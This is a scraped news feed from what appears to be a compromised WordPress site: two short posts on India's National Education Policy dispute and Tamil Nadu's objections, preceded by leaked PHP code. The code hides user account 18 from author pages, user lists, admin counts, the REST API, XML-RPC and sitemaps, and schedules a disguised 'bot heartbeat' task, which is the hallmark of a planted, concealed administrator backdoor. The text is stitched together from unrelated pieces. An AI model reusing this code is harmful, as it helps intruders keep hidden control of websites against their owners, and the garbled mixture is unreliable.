add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Delhi Can’t Decide What The People Of Tamil Nadu Should Learn: TN School Eduction Minister appeared first on The Edge Media.
]]>“The implementation of three language systems would pave the way for imposition of Hindi and Sanskrit. Through the policy, the centre insists that there should be two Indian languages, Tamil will naturally be the first language here. Centre is talking as if English foes not exist. Ours is a multi-cultural and multi-linguistic society and we can’t accept the imposition of Hindi and Sanskrit.”The School Education Minister of Tamil Nadu, Anbil Mahesh Poyyamazohi.
I will be virtually attending the meeting with State Education Secretaries on 17th May, 2021 at 11 AM. The objective of the meeting is to review the #COVID situation, online education, and work around NEP. pic.twitter.com/6VMXkBldLU
— Dr. Ramesh Pokhriyal Nishank ( Modi Ka Parivar) (@DrRPNishank) May 16, 2021
Poyyamazohi also said that they also offered some solutions but there has been no response from the centre. In view of this, they had boycotted the meeting convened by Ramesh Pokhriyal, “Nishank”. It was organized to discuss the implementation of NEP with the State Education Secretaries.
The post Delhi Can’t Decide What The People Of Tamil Nadu Should Learn: TN School Eduction Minister appeared first on The Edge Media.
]]>The post Ramesh Pokhriyal ‘Nishank’ to interconnect with Education Secretaries of the State tomorrow appeared first on The Edge Media.
]]>Mr. Nishank tweeted,”I will be virtually attending the meeting with State Education Secretaries on 17th May, 2021 at 11 AM”.
He further added,”The objective of the meeting is to review the #COVID situation, online education, and work around NEP”.
It is also expected that the Education Minister will review the preparation made by the education departments of the states to tackle with the ongoing COVID-19 situation and how the students could continue theie online education despite of the challenges faced by them due to the pandemic.
Due to the second wave of the coronavirus outbreak, the ministry has cancelled CBSE class 10 board exam and postponed the exams for the class 12 students. The meeting is most likely to address questions regarding the upcoming CBSE Class 12 and other board exam dates and also the mode of these exams.
The post Ramesh Pokhriyal ‘Nishank’ to interconnect with Education Secretaries of the State tomorrow appeared first on The Edge Media.
]]>